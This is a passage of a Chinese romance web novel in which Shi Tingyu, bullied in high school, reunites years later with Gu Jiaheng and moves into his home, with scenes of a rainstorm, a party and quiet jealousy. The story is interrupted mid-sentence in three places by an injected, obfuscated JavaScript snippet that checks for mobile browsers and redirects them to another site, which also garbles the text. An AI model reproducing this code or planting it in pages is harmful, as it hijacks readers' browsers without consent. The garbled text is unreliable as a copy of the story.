愣了几秒后,时听语竟然伸过手轻轻放在了他的手掌心上,肌肤接触的瞬间,掌心的温暖像是电流一般从指尖传遍全身,那一刻仿佛全世界都静止了,只剩下她加速的心跳声。 顾嘉珩朝她笑了一下,反握住她的手,拉着她转身小跑着离开。 她记得那天的阳光很好,洒在少年随风飘扬的发丝上,微风吹动着他校服,飘来一阵阵好闻的洗衣液的味道。 时听语盯着他的背影,像是虔诚的信徒终于等来了他的救世主,那一刻她只想他们就这么一直跑下去,永远没有尽头。 顾嘉珩拉着她跑到操场的一个角落,他环顾了一下四周没人,然后独自走到墙根下,半蹲着伸手招呼时听语。 “什么?”时听语没看明白他想要做什么。 顾嘉珩一愣,随即拍了一下自己脑门:“差点儿忘了,你一个乖学生也不可能做过翻墙这种事。” 又示意拍了拍自己肩膀:“你踩着我上去。” “我......我不行。”时听语连连摇头。 “有我在你怕什么,摔不到你的,快点啊,一会儿被老师们他们发现我们就出不去了。” 时听语犹豫了一下,还是一咬牙心一横,朝着顾嘉珩走过去。 她略显尴尬地扶着顾嘉珩的背,一只脚踩上他的大腿借力,刚稳住身子,就只见顾嘉珩猛的起身,她整个人被架高了起来,下意识“啊”了一声又赶紧捂上嘴。 “别喊,你先扒上墙头,然后整个人坐上去。” 顾嘉珩还在下面指挥着,可时听语现在感觉自己四肢都不听使唤,但她又怕顾嘉珩在下面撑不了多久,只好胳膊借着力,让自己整个身体一点点趴在了墙头上。 她朝墙外的地面看了一眼,又吓得赶紧扭回头,心想这么高她要怎么下去,然后回头看向顾嘉珩,刚想开口问他怎么上来。 只见顾嘉珩拍了拍手,后退两步,助跑几步单脚一点,身子腾空的瞬间双手攀住墙头,手掌使力,身体向上一耸,直接跃上了高高的墙头,然后没有任何的停留就这么丝滑地跳了下去。 时听语还愣在墙头上面,她有点不敢置信看着下面正冲着自己笑的人,他这是翻过多少次,这一套才能这么熟练。 “上面趴着很舒服啊?跳下来啊,我接着你。”顾嘉珩在下面伸出双手。 时听语觉得现在自己的姿势很尴尬,想要坐起来又不太可能,但她看着顾嘉珩的眼神,也不知道自己为什么会选择相信他。 双手握拳,眼睛一闭,朝着墙外翻身下去。 一秒的失重感让她心跳加速,那声“啊”都还没喊出口,就稳稳落进了一个结实的怀抱里。 时听语缓了两秒才睁开眼,看见顾嘉珩正抱着自己,霎那间红了耳根,她赶忙拍了他一下,示意他放下自己。 两个人都没有说话,顾嘉珩拍了拍自己身上的土,转身朝前走去。 见顾嘉珩走远,时听语赶紧小跑两步追上去,但又很刻意的跟他保持了一点距离。 顾嘉珩倒也不在意,走了没几步,忽然想到什么停下步子转头问:“你饿不饿?” 时听语摇摇头。 “那走吧,我请你去吃面。” 见时听语还愣在原地,他走过来握住她的手腕,拉着她一边走一边说:“人在难过的时候吃点儿好吃的,就没有那么难过了。” 顾嘉珩带着时听语走进了附近一家小面馆,面馆不大,但是这个点在里面吃饭的人却很多。 顾嘉珩随便找了一个空位让时听语坐下,自己则坐到对面跟她介绍着:“我上次无意间发现这里的,你别看它只是一间小门脸的面馆,但老板煮面的手艺可好了,保证你吃了第一次还想吃第二次。” “老板,来两份你家的招牌面,一碗加个荷包蛋。” 顾嘉珩冲着前台的老板说着,然后又扭回头从筷筒里拿出两双筷子递给了时听语一双。 热腾腾的面很快被端上了来,顾嘉珩很主动的将有荷包蛋的那碗面推到时听语面前,笑着说让她尝尝看。 时听语半天没有动筷子,她一时有些不适应,除了奶奶已经很久没有人会这样对她了,她看着碗里的面,小声说了一句“谢谢”。 顾嘉珩抬头:“你说什么?” “没什么。” 顾嘉珩看着她,犹豫了一下,还是问出了口:“陆思恬她们为什么老欺负你啊?学校老师也都不管吗?” 顾嘉珩也来了一段时间了,他发现时听语并没有做什么过分的事情,但陆思恬不仅带着全班同学孤立她,甚至连老师都不怎么管。 她这样的好学生,要是放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420209|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在别的学校那都是重点保护对象,怎么可能还任人欺负。 时听语低下了头,心不在焉地挑着碗里的面:“他们应该也都跟你说了吧,让你离我远一点儿。” “他们是说了没错,但我这个人啊,只相信我自己眼睛看到的。” 时听语拿筷子的手猛然一抖,她缓缓抬起视线看着眼前的人,鼻子一阵泛酸,眼泪压抑不住的上涌。 “四年前,我爸酒后肇事逃逸,导致了陆思恬爸爸的死亡。” 时听语一边说着又垂下了头,她根本没有对顾嘉珩抱有任何期望,觉得他要是知道这些后想远离自己那也正好。 “但这跟你有什么关系,她爸爸的死又不是你的错。” 时听语有些不敢相信自己听到的话,她盯着顾嘉珩的眼睛,迫切地想从他眼神中确认他是不是违心的说这些话安慰自己,她努力克制住自己的情绪,不想在顾嘉珩面前掉眼泪。 时正德出事之后,被判入狱三年,家里为了赔偿变卖了所有的能卖的一切,外面还欠了一屁股债,王舒雅在这个时候毅然决然跟时正德离了婚,抛下了才十二岁的时听语,跟着一个暴发户老板离开了陵江。 时听语跟陆思恬初中虽然不在一个班,但却是同一个学校,整整三年,哪怕她的成绩全校第一,却依旧掩盖不住背后的那些指指点点,全校都知道她是杀人犯的女儿。 陆思恬也时不时就跑来她的班里闹,连老师都拿她没有办法。到了高中,更是造化弄人,她们俩直接被分到了同一个班级,每次只要陆思恬稍有不顺心就会拿时听语来出气。 刚开始时听语也会反抗,她觉得自己父亲的确做错了,可他受到了应有的责罚,该有的赔偿他们砸锅卖铁也赔了,直到那天陆思恬抓着她的衣领,满脸狰狞地看着她,咬牙切齿地吐出两个字:“不够。” “时听语,凭什么你爸三年的牢狱加上一些钱就能换我爸爸的命,你还有爸爸,可我没有了。” 一字一句化作利箭,正中心脏。 时听语之前所有的自尊与骄傲在那一瞬间被彻底打碎。 也是从那个时候开始,不管陆思恬怎么折腾欺负她,她都默默忍受,她觉得如果这样她能好受一点的话,也算是替时正德弥补了一些过错。 这四年,身边的所有人都对她避之不及,顾嘉珩是第一个在知道了这些事情之后还能依旧跟她说不是她的错的人。 “她也就是看你好欺负,要闹也该找你爸去闹啊,跟你有什么关系,大清早亡了,她还搁这儿玩父债子偿这一套呢。” 听着顾嘉珩的言论,时听语突然被逗笑了,她擦了擦眼泪也没说什么,只是大口吃着碗里的面。 现在的她也说不清楚到底是那家的面的味道让她记忆深刻,还是因为当时自己身边的人是顾嘉珩。 这种味道就像是深深刻在骨子里一辈子都忘不掉的记忆,时听语没想到这么多年过去,即使时过境迁,但面对同样的人,还能再次尝到这种味道。 “顾嘉珩,谢谢你。” 顾嘉珩唇角微勾:“就煮了一碗面而已,你不用这么感动吧。” 不是因为这一碗面,时听语好像一直没有跟他正式地说过谢谢,她高中的时候常常觉得顾嘉珩是老天给她的奖励,就像是突然给了一个从来没有尝过甜味的孩子一块糖,那种萦绕在心间的甜即使过了很多年也不会找到替代品。 17岁的顾嘉珩,谢谢你。 27岁的顾嘉珩,对不起。 在陵江认识顾嘉珩的那一年,大概是她这辈子最开心的一段日子。 即使身处泥沼,满身淤泥,但他依然愿意坚定地走向你,紧握你的手。 时听语不止一次的想过,如果可以回到过去,如果当时的一切都没有发生,那该有多好。 可惜,没有如果。 她跟顾嘉珩,也回不到以前了。 8. 承认 顾嘉珩很快就吃完了,他并没有坐在餐桌前等着时听语,起身拿着碗筷进了厨房。 一阵哗哗的水声从厨房传来,扰得时听语的心有些烦闷。 她看着自己面前还剩多半碗的面,一时之间不知道该怎么处理掉剩下的。 “我困了,要睡觉了。”顾嘉珩从厨房里出来,他站在原地并没有走过来,说话语气一贯的冷淡,“我睡眠浅,你吃完不用收拾,不然我会被你吵醒。” 时听语“哦”了一声,心里却松了一口气,至少不用面对着他强迫自己吃完这些。 下一秒猛然想起来了什么,她出声叫住了顾嘉珩。 “什么事?” 时听语结结巴巴小声问道:“你家里的大门密码是多少?我......我明天有工作上的事情要出去处理一下。” 她没有提孟砚舟的名字,但顾嘉珩不傻,说得好听一点是工作上的事情,实际上不还是要去见他吗? 顾嘉珩看了她一眼,没有回答转身回了卧室,就在时听语还一脸懵的时候,只见他拿着手机又回来了。 “手机号。”他说的干净利落,连一个字多余的废话都没有。 见时听语愣神,顾嘉珩又重复了一遍:“你的手机号。” 时听语不知道他想干什么,但还是报出了自己的手机号,她看着顾嘉珩在手机上飞快地按了几个数字,果然没几秒,自己的手机铃声从卧室里传出来。 “我的手机号你存好,明天你工作结束给我打电话,我去接你。” 没有给时听语任何拒绝的机会,顾嘉珩说话的语气就像是一个老板在给自己的员工下达命令,时听语张了张嘴,还是把想说不需要的话咽了回去。 顾嘉珩朝餐桌上瞥了一眼,漫不经心说道:“吃不完就剩下,刚才不小心面煮多了。” 时听语点了下头,但还是依旧回到餐桌上坐好,顾嘉珩见她这样也没再说什么,一个人径直回了卧室。 其实时听语已经吃不下了,但她就是不太想回到卧室,一想到他睡在自己身旁,总有一种说不出来的不自在,好像自己真的是在做陪睡。 在外面坐了很久,时听语觉得过了这么久顾嘉珩应该睡着了,这才轻手轻脚地回到卧室躺下,硬是逼迫自己闭上眼睡觉。 因为身旁躺了一个人,时听语紧紧贴着床的一边侧躺着,连动都不敢动一下,脑子里的那根弦一直紧绷着。 也不知道是不是自己高度紧绷的精神状态太消耗精力,终于在天微微亮的时候有些许困意袭来,渐渐睡着了,等到她再醒来的时候,已经快接近中午。 时听语下意识地看向身侧,顾嘉珩已经不知道什么时候离开了,她长舒一口气,拿过手机将昨晚的那个未接电话保存进联系人里。 随后她打开微信,发现除了孟砚舟发了一堆消息之外,竟然还有一条好友申请。 【H:我是H。】 时听语看着全黑的头像还认真思索了一下,一时间没有想到会是谁,也就没有在意,退出来点开了孟砚舟的对话框。 孟砚舟并没有多问什么,只是询问时听语今天什么时间有空,想着自己还要收拾行李,就直接约了他在盛景花园见。 简单收拾一番,时听语从卧室出来,本来准备把昨晚的碗收拾一下,却发现桌上的碗筷早就被顾嘉珩收拾干净了。 时听语站在餐桌前想着昨晚顾嘉珩说的话,她不知道他为什么不愿意告诉自己密码,不过她也没有打算按照他说的去做,要她给他打电话,她宁愿待在外面等。 * 时听语打车回到盛景花园的房子的时候,孟砚舟已经在家门口等着了。 “砚舟哥。”时听语不知道孟砚舟在门口等了多久,“你怎么不进去等啊?” 孟砚舟笑了笑:“你不是没在家吗?” 一句话说的时听语哑口无言,孟砚舟就是这样,什么事情都考虑的周全,分寸掌握的刚好。哪怕他知道房门密码,但现在这房子只有自己一个人在住,他也不会贸然进去。 “进来再说吧。” 时听语开门进来,想说的话面对孟砚舟有些难以启齿:“我今天来收拾一下行李,以后......就不住在这里了。” “好,但是听听,如果你住在他那里不开心,不要闷在心里,我带你离开。”孟砚舟向来尊重她的每一个选择,但前提是她真的可以过得好。 时听语点点头,其实这么多年,孟砚舟在她心里早就如同亲人一般。自从奶奶去世之后,孟砚舟是唯一一个陪在她身边的人。 “好了,不说那些了,我们谈一下后续的工作安排吧,我住院也耽误挺久了。” 孟砚舟从包里拿出一份文件递给时听语:“工作室那边都安排好了,随时可以开业,我的计划是开业当天我们安排记者采访,但最终还是要看你的意思。” 时听语翻看着孟砚舟的计划安排,他行程安排的很详细,甚至连采访问题的草稿他都有提前列举出来。 “我没意见,就按你的安排来吧。”时听语在这方面一向相信孟砚舟的能力。 “好,那你准备一下,最近可能新闻采访会多一点,不过一些能推的我会帮你推掉的。” 孟砚舟正说着,时听语的手机突然响了一下,她拿起手机,解锁后点开微信消息。 【Freya:宝贝,你来宜淮怎么不告诉我一声啊?】 时听语举着手机展示给孟砚舟看,他无奈笑道:“倒是把她给忘了。” 那天参加晚宴,虽然孟砚舟拦着没有接受采访,但还是有记者第二天发布了消息出去,Freya大概是看到了那些新闻。 对时听语来说,这些年她身边除了孟砚舟,基本没有什么朋友,如果硬要说,Freya算一个。 在国际上一举成名之前,时听语还只是个艺术学院的学生,她跟Freya相识于一场学校举办的陶艺展。 本来这种活动时听语并没有很感兴趣,交上去的作品也只是随手选了一件,但她没想到仅仅是来参观的Freya一眼就能够看出她这件作品想表达的含义。 那次之后,两人算是相识,不过时听语不是一个会主动交朋友的人,这点Freya倒是正好相反。 她很欣赏时听语对艺术不一样的见解,也很喜欢她的作品,只要人在巴黎就隔三差五跑来找她,各种软磨硬泡。 Freya因为工作原因满世界飞,但即使在别的国家,只要一看到有趣的事情也会第一时间分享给时听语。 她们之间相识的这几年,几乎都是Freya在主动,像是一个话唠,也不管时听语顾不顾得上回复她。 有时候时听语都会有些恍惚,她觉得Freya像极了一个人,一个这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420210|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子都不可能再见到的人。 【时听语:你不是人还在国外吗?所以就没有麻烦你。】 她刚发完消息,下一秒Freya就打来了视频电话。 “你这么说我可就太伤心了,什么叫麻烦我啊,你来宜淮,我当然要尽地主之谊了。”视频刚接通,Freya就在电话那端喋喋不休,“我昨天回宜淮了,今天刚倒完时差就看到你的新闻,你回国这么大的事都不告诉我,说吧,想怎么补偿我?” “那我工作室开业那天请你来。” Freya明显没有满意:“就这?你也太没诚意了吧。” “那你随便提要求,只要我有的,我能做到的。” “那就先欠着吧,我现在还没想好。”Freya继续说,“对了,晚上朋友给我组了一个接风宴的局,你来吗?” 时听语摇摇头:“我这边还有些工作的事情要处理。” Freya其实也没有抱希望,她知道时听语一向不喜欢这类活动,听到她拒绝也没放在心上。 “那行,先挂了,开业时间记得发给我。” Freya刚挂掉电话,身后突然一个声音传来,吓了她一跳。 “还没收拾好吗?” “你怎么走路都没声啊,想吓死你老姐啊。”Freya转过身对着面前站着的人抱怨着。 “顾书颜,是你打电话太投入了好吗?跟谁聊的这么火热,新交的男朋友?” Freya直接上手给了自己亲爱的弟弟一个爱的抚摸:“顾嘉珩,你现在是胆子大到连姐姐都不喊了吗?” 顾嘉珩伸手摸了下自己的头,一脸无奈地笑了下,血脉压制让他也无话可说。 “行,姐。”那声姐他故意语调拉的很长,“您收拾好可以出发了吗?” Freya后退一步上下打量了顾嘉珩一眼:“阿珩,你越长大,人倒是越来越无趣了。” 说着又凑过去,一脸挑逗的样子抬头看着他:“二十多岁正是男人欲望最盛的时候,你倒好,寡得跟个和尚似的。你有没有听过那句老话,男人从二十五岁之后就开始走下坡路了,再不抓点紧,你那东西还没开刃就已经锈了。” Freya说着还当着顾嘉珩的面用手指朝下面指了指。 顾嘉珩一把拍开她的手,哼笑一声:“我真该把你这些话录下来,让舅舅听一听他的好女儿的这些虎狼之词。” “少拿我爸来压我,爷爷都不管我,他那个老古董能拿我怎么着?” 说完Freya又嫌弃地看了顾嘉珩一眼,她继续说道:“说真的,上次爷爷说你同意去相亲了,我还以为你终于想开了,结果转头简叙白娶了人家。你看看人家那个速度,再看看你自己,中看不中用的家伙。” 顾嘉珩半倚在门框边,垂头笑笑:“姐,你最近是不是又被哪个男人甩了?” Freya抬手轻轻撩了一下自己的长发:“胡说,就你姐这人格魅力,只有我甩别人的份,还没人能甩得了你姐。” “不过......”Freya敛起笑容,难得正经了起来,“我这里倒是有一个很不错的姑娘,她最近来宜淮发展了,不如介绍给你认识啊?” 顾嘉珩突然站直身子,收起了那一副吊儿郎当的样子,很认真地看着Freya。 “不用了,我有女朋友了。” 9. 燥热 听到这个消息,Freya的眼神里充满了不可思议,这可真是万年铁树开花。 她一脸好奇地追问:“谁呀?” “等时间合适的时候你自然就知道了,快走吧,一会儿他们该等着急了。” Freya耸耸肩,满脸都写着你不愿意说老娘还不乐意听的表情,可嘴上依旧不饶人:“你是不是还没有追上人家女孩子啊,自封的男朋友?” 顾嘉珩也懒得理她,转身下楼,只留下一句“快点”催促她赶紧下楼出发。 没再耽误很久,两人开车很快就到了他们几个发小经常来聚会的私人会所。 管家领着两人朝定好的包厢走去,替他们推开房间门,示意他们请进。 包厢隔间里面沙发上正品茶的两人听见外面动静,探头朝外看去。 “哎呦,我们的顾大小姐终于来了。” 其中一身休闲装的男人从沙发上站起来,没正形的跟Freya开着玩笑。 “贺朗,你少跟我贫嘴。”Freya直接把手里的包朝着他甩了过去,看着房间仅有的两个人,问道:“怎么就你们俩,程言澈和简叙白还没来?” 贺朗怀里接着Freya刚扔来的包,又恭恭敬敬地递给她:“程言澈不来,简叙白要等一会儿,让我们先吃别等他。” “言澈不来挺好的,我觉得他俩现在还是少见面的好,省的一会儿打起来,我们这都是从小一块长大的,站谁都不好。”裴青禹翘着二郎腿懒散地靠在沙发上。 一旁的Freya听他们说的倒是稀奇,自己许久没回宜淮,没想到发小的圈子之间添了这么多的八卦。 “我错过了什么劲爆的八卦?他俩不是都成一家人了,这还能打起来?” “咱们圈子里的人谁不知道程言澈宝贝他那个妹妹跟眼珠子似的,现在人悄无声息地让简叙白娶走了,你说他能给简叙白好脸色看吗?” 听贺朗说到这,Freya意味深长地瞥了一眼自己身旁的顾嘉珩,心里默想,还好他俩没成,不然也不知道自己这个弟弟抗不抗揍。 裴青禹将手中的茶一饮而尽,起身走到外面包厢,拉开椅子直接落座:“咱们几个之间就别讲究商场上的那一套了,随便坐吧,我都快要饿死了。” 从坐下后,顾嘉珩就一直心不在焉地盯着自己手机看,他们之间谈论的那些商业上的事情,他不在意也不感兴趣。 当初回到宜淮之后,外公和舅舅都有意让他以后接手顾家的产业,可他自己铁了心要去学医,劝说无果后大家也只能无奈妥协。 但其实只有顾嘉珩自己知道,让他下定决心的那个晚上,是顾书颜站在他的身旁,像小时候一样轻轻拍了拍他的肩膀,眼神坚定的告诉他:“阿珩,你就只管去做你想做的,不用在意爷爷和我爸说什么,顾家就算天塌了还有姐姐在呢。” 可他能自由选择的代价就是顾则淮给顾书颜定了一门亲事,不过好在被定亲的那位也并不想联姻,所以这婚事倒是一拖再拖,顾书颜自己倒也乐得自在。 * 一顿饭吃完,四个人又回到茶室,直接在茶桌上打起了扑克牌。 被顾书颜的一手地主好牌吃的死死的,贺朗蹙眉看着自己手里的烂牌,朝着顾嘉珩使了一个眼色,示意他出牌,结果对方直接无视了他,面无表情地说了句“不出”。 裴青禹紧跟着说:“不出。” “哈哈哈,不好意思了各位,我又赢了。”顾书颜将手里仅剩的一个对子扔在桌上,一脸胜利者的得意。 贺朗的脸都要气青了,一晚上净输给她了。 “老裴你怎么也不出啊。” 裴青禹摊开牌解释道:“你看,我是真没牌。” “阿珩你怎么回事,就这么明目张胆给你姐放水啊,你这牌里不是有炸吗?” 贺朗正要声讨顾嘉珩的时候,简叙白从外面姗姗来迟。 “抱歉,来晚了。” 贺朗转头就对着简叙白揶揄道:“啧啧啧,这结了婚的人就是不一样啊,约都约不出来了。” 简叙白也不生气,只是温和着笑了笑,坐下后才开口:“本来你也可以体验一下的,只可惜啊......” 在场的谁不知道,贺朗追了沈家小姐多年,本来都已经订婚了,结果人家答应他只是为了气前男友,后面两人和好后转头就跟贺朗退了婚。 就因为这件事,让他好几个月都不敢参加圈子里的局,觉得丢人抬不起头。 现在倒好,这事直接被简叙白拿出来贴脸开大,论杀人诛心还得是简叙白。 吃了一个哑巴亏,贺朗可是不敢再调侃简叙白,伸手敲了敲顾嘉珩面前的桌子。 “我说你小子怎么回事啊?一晚上人坐在这,魂儿被勾走了? “没劲。”顾嘉珩拿着手机起身,“正好简叙白你跟他们玩吧,我出去透透气抽根烟。” 贺朗看了一眼顾嘉珩的背影,知道他人就这脾气,也没放心上:“算了,简叙白,你来。” “我也先出去打个电话,一会儿回来。” 贺朗:“不是,今儿这一个两个都是怎么了,还能不能玩了?” 顾嘉珩出门走到了外面露台,从上衣口袋里摸出一盒烟,抽出一根咬在齿间,他微微偏头就上点燃的打火机,火光掠过烟头的瞬间,猩红的光忽明忽暗。 他深吸一口,缓缓吐出烟圈,缭绕的烟雾渐渐模糊了他失神的模样。 他现在已经没有之前抽的凶了,可今天心里莫名的烦躁,勾带着烟瘾犯了。 顾嘉珩单手搭在栏杆上,修长的指间夹着烟,另一只手则不耐烦地翻看着自己没有任何消息的手机。 已经晚上八点了,一整天自己的手机别说电话了,连一条消息都没有收到,更令人生气的是他一早给时听语发的好友申请到现在都没有得到回应。 哪怕是拒绝都可以,可她直接无视了他的那条申请。 顾嘉珩垂头自嘲般地笑了一下,她就那么愿意跟孟砚舟待在一起,甚至到现在这个点都还不想回家。 越想越觉得心里像是堵了一口闷气无处发泄,他直接打开了通讯录,看着被自己设置在第一个的联系人,又犹豫着要不要拨出去。 “呦,你这昨晚是一晚上没睡啊,黑眼圈都快赶上熊猫了,刚开荤你就算不节制自己也得考虑一下人家女孩子受不受得了吧?” 简叙白不知道什么时候过来的,他走上前,斜靠在栏杆上,笑着调侃。 顾嘉珩白了他一眼,默默收起手机:“你这结了婚的人现在说话就是硬气啊。” “你少来,屋里那几个不知道,你又不是不清楚我们是怎么回事。” 顾嘉珩一时无言,又猛抽了几口烟,半晌才开口,说话的语气中似是带了一些羡慕。 “但至少你得偿所愿了。” “那你呢?”简叙白反问,“你把人带回家,你所求的是什么?” “我什么都不求,我现在对她也只有不甘心和怨恨罢了,不甘心她当初甩了我,怨恨她害了我妈。” 简叙白看着顾嘉珩这副嘴硬的样子,不禁笑了一下,双手撑着栏杆继续问:“所以呢,你现在是打算让她再次爱上你,然后这次……你甩了她吗?” “你说我们俩算不算是同病相怜?”顾嘉珩没有正面回答。 简叙白否认:“别,我跟你可不是一类人,我从来没有想过要把栀栀绑在我的身边。” 的确,哪怕简叙白再爱,只要对方一句不愿意,他都会主动退出她的世界。 可他顾嘉珩不是这样的人,即使这辈子彼此之间要互相折磨,他还是会选择跟对方纠缠一辈子,至死方休。 一道闪电突然划破天际,暗夜被照的亮如白昼,随即而来的雷声仿佛要撕裂整片天空,片刻后忽然下起了大雨。 这雨来得突然,没有给人丝毫的准备,顾嘉珩垂眸盯着自己指尖快要燃尽的烟头,烦闷与不安在心头萦绕。 他扔掉手中烟头,用脚碾灭,拍了一下简叙白的肩头:“走了,替我跟我姐说一声。” 既然时听语不找他,那他去找她也不是不可以。 * 这场突如其来的暴雨倒是让等在顾嘉珩家门口的时听语有些猝不及防。 她跟孟砚舟商量好工作上的事情后,收拾完行李下午就打车回到了这里,本来坐在外面的台阶上等的好好的,谁知道这雨说下就下。 虽然反应过来的当下时听语就拉着行李箱跑回到了大门口的房檐下,可身上还是淋了个半湿。 更何况顾嘉珩这房子外面的房檐也根本挡不住这瓢泼一般的大雨,时听语感觉自己整个人往里站的都快要嵌进墙壁里了,可溅起的雨滴还是一点点浸透她的衣服。 本来自己就有痛经,现在倒好,直接在大雨天里凉气吸了个彻底。 正当她犹豫要不要给顾嘉珩打个电话问下他房门密码的时候,远处径直开过来一辆车,时听语抬头望过去,车前的远光灯晃的她有些睁不开眼,直到车开近熄火她才看清车里的人。 顾嘉珩本来是打算先回家再给时听语打电话的,结果车开到家门口的时候他看着眼前的那一幕,差点儿没被气个半死。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420211|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是有多厌恶自己,宁愿等在门口让雨淋,都不肯朝自己张一句口。 顾嘉珩停好车,撑着伞下车朝时听语这边走来,但在马上走到她面前的时候故意绕开一步,略过她径直朝着门口走去。 时听语怔了一下,回头看着他的背影,也不知道该说些什么好,只能用冻的有些颤抖的手紧紧握住行李杆,小跑两步跟上顾嘉珩。 门开的瞬间,顾嘉珩先进了门,但还没等时听语一只脚迈进去,他顿住了脚步,转回身盯着她看。 尽管他已经在极力压制自己内心的怒气,可说话的语气还是没什么好气:“时听语,我昨晚是怎么跟你说的?” “我怕你在医院忙,所以就没想麻烦你,我在门口等你回来也是一样的。” 时听语也能感觉出来顾嘉珩在生气,她根本不敢抬头看他的眼神,解释的声音也越说越小。 “呵。”顾嘉珩冷笑一声,“时听语,你真是好样的,真该让你在外面冻一宿。” 话音落下,他头也不回地进了屋内,只留时听语一个人还站在门口。 顿了几秒,时听语才小心翼翼地进门,轻轻将身后的门关好,换了鞋之后推着行李箱走进客厅,只见顾嘉珩一个人坐在沙发上看着手机,头也不抬一下,就好像她根本不存在。 “我先回房间去洗个澡......” 顾嘉珩没说话,时听语看了他一眼,很识趣地赶紧进了卧室。 热水从花洒中喷洒流下,浴室内渐渐升腾起氤氲的雾气,时听语站在花洒下,贪恋着这温暖的水流经过自己的身体,一点点驱散掉体内的寒气,洗了很久她才终于觉得体内的温度渐渐回来。 刚才匆忙,她还没得来得及仔细从箱子里翻找睡衣,就随手拿了一件宽大的白色纯棉衬衣,洗好后直接穿在了身上。 她拿毛巾随意擦了下头发,就拿起提前准备好的吹风机,插上电后一点一点吹着自己还湿漉漉的长发。 可吹了还没有两分钟,吹风机突然停止了工作,时听语拿在手里看了一圈,又拍了拍出风口,依旧没有任何反应,重新拔掉插头再插一次还是一样状况。 她在浴室里看着手里坏掉的吹风机,叹了口气,心里暗暗觉得是自己倒霉。 做了半天思想斗争,时听语最后还是深呼吸了一下,毅然开门走出卧室。客厅里竟然空荡荡的没有人,听见厨房里有声音,她挪动着步子试探着靠近厨房,视线正巧对上刚出来的顾嘉珩。 她立刻后退两步站到离他最远距离的沙发边,很难为情地开口问道:“那个......我的吹风机坏了,可以借用一下你的吗?” 顾嘉珩漫不经心地抬眼朝她那边看过去,目光散落在她身上穿的那件白衬衫,眼底闪过一丝晦暗,衬衫的长度刚刚能掩盖住她的臀部,那一双修长白皙的腿勾的他不禁心跳加速。 他移开视线,没忍住咽了一下口水,迈着步子朝时听语走过来。 走到她面前停下,低头看过去,她虽然垂着头,但还是能明显的注意到她已经红透的耳根。 湿发上的水珠沿着耳前的几缕碎发,顺着她脸颊一滴一滴砸落在她裸露的锁骨上。 现在只要时听语抬头看一眼,就会发现顾嘉珩眼里满是炽热的欲望,她的脸涨红的发烫,手指不断搅动着自己的衬衫衣角。 顾嘉珩撇开头,绕过她大步走进房间,过了几秒又走回时听语面前,将手里的吹风机塞到她手里。 他没再看时听语一眼,只是冷冷地说:“厨房的锅里有姜汤,记得喝,我今晚去客房睡,省的你感冒了再传染给我。” 时听语只淡淡应了一句,转身拿着吹风机逃一般地溜回房间。 * 客房一直都没有人睡过,顾嘉珩只简单收拾了一下床。 他躺在床上枕着自己一只胳膊,望着天花板出神的发呆,时听语那一副脸红娇羞的模样在脑海中挥之不去,刚才有那么一刻的冲动他都想直接吻上她的唇,然后将她禁锢在自己怀中,狠狠揉进自己的骨血之中,可仅有的一丝理智让他克制住了自己。 一股燥热涌上心头,即使顾嘉珩想极力用自己的理智占据上风,可身体/下的反应从不说谎。 他也察觉到了自己的反应,沉声骂了一句,立刻起身直奔浴室。 他将水温直接调到冷水的最大程度,打开花洒站在那里一动不动,刺骨的凉从头顶猛往下灌,可似乎依旧浇不灭他身体上的燥热。 那一瞬间,顾书颜打趣他的话突然出现在脑海中。 从来就不是他清心寡欲,是他的欲望从始至终就只有她一个人。 10. 吃醋 顾嘉珩冲了半天的凉水澡才从浴室里出来,他扯过毛巾胡乱擦了擦头发,随手拿了一件白T恤套在身上。 正准备回房间的时候,突然听到厨房传来一阵玻璃破碎的声音,他想都没想,直接朝厨房跑去。 只见时听语一个人站在水池边,脚边是碎裂的碗渣和一大片撒了的汤渍。 头发吹干后时听语觉得肚子有些不舒服,想着自己喝点姜汤或许会好一点。盛了满满一碗后,她低估了姜汤滚烫的温度,碗边传到指尖的烫感让她一时没拿好,直接整碗被打翻在地。 “烫到哪里了?”顾嘉珩快步冲过来,一把抓住她的手腕。 时听语手背上泛起的一大片红狠狠刺痛了顾嘉珩的双眼,他立刻打开凉水,拽着她的手放到水下冲着。 时听语悄悄抬眼朝顾嘉珩看过去,他皱着个眉,目不转睛地盯着自己的手。 她抿了下唇,小声说:“对不起。” 本来晚上就惹了顾嘉珩生气,现在又打碎了一个碗,估计他更生气了。 冲了几分钟,他才关掉水龙头,顿了几秒,忽然侧头看向她。 “时听语。”顾嘉珩觉得自己好像不知道该拿她怎么办,“算了。” 她一直都是这样,哪怕是当初他们在一起的时候,她大概也从来没有从心底里把自己当成她的男朋友,遇到什么事情都不说,觉得什么事情都可以自己解决,倒显得他这个男朋友像个摆设一样。 如果他刚才不过来,她大概也会自己默默收拾完残局,然后绝口不提。 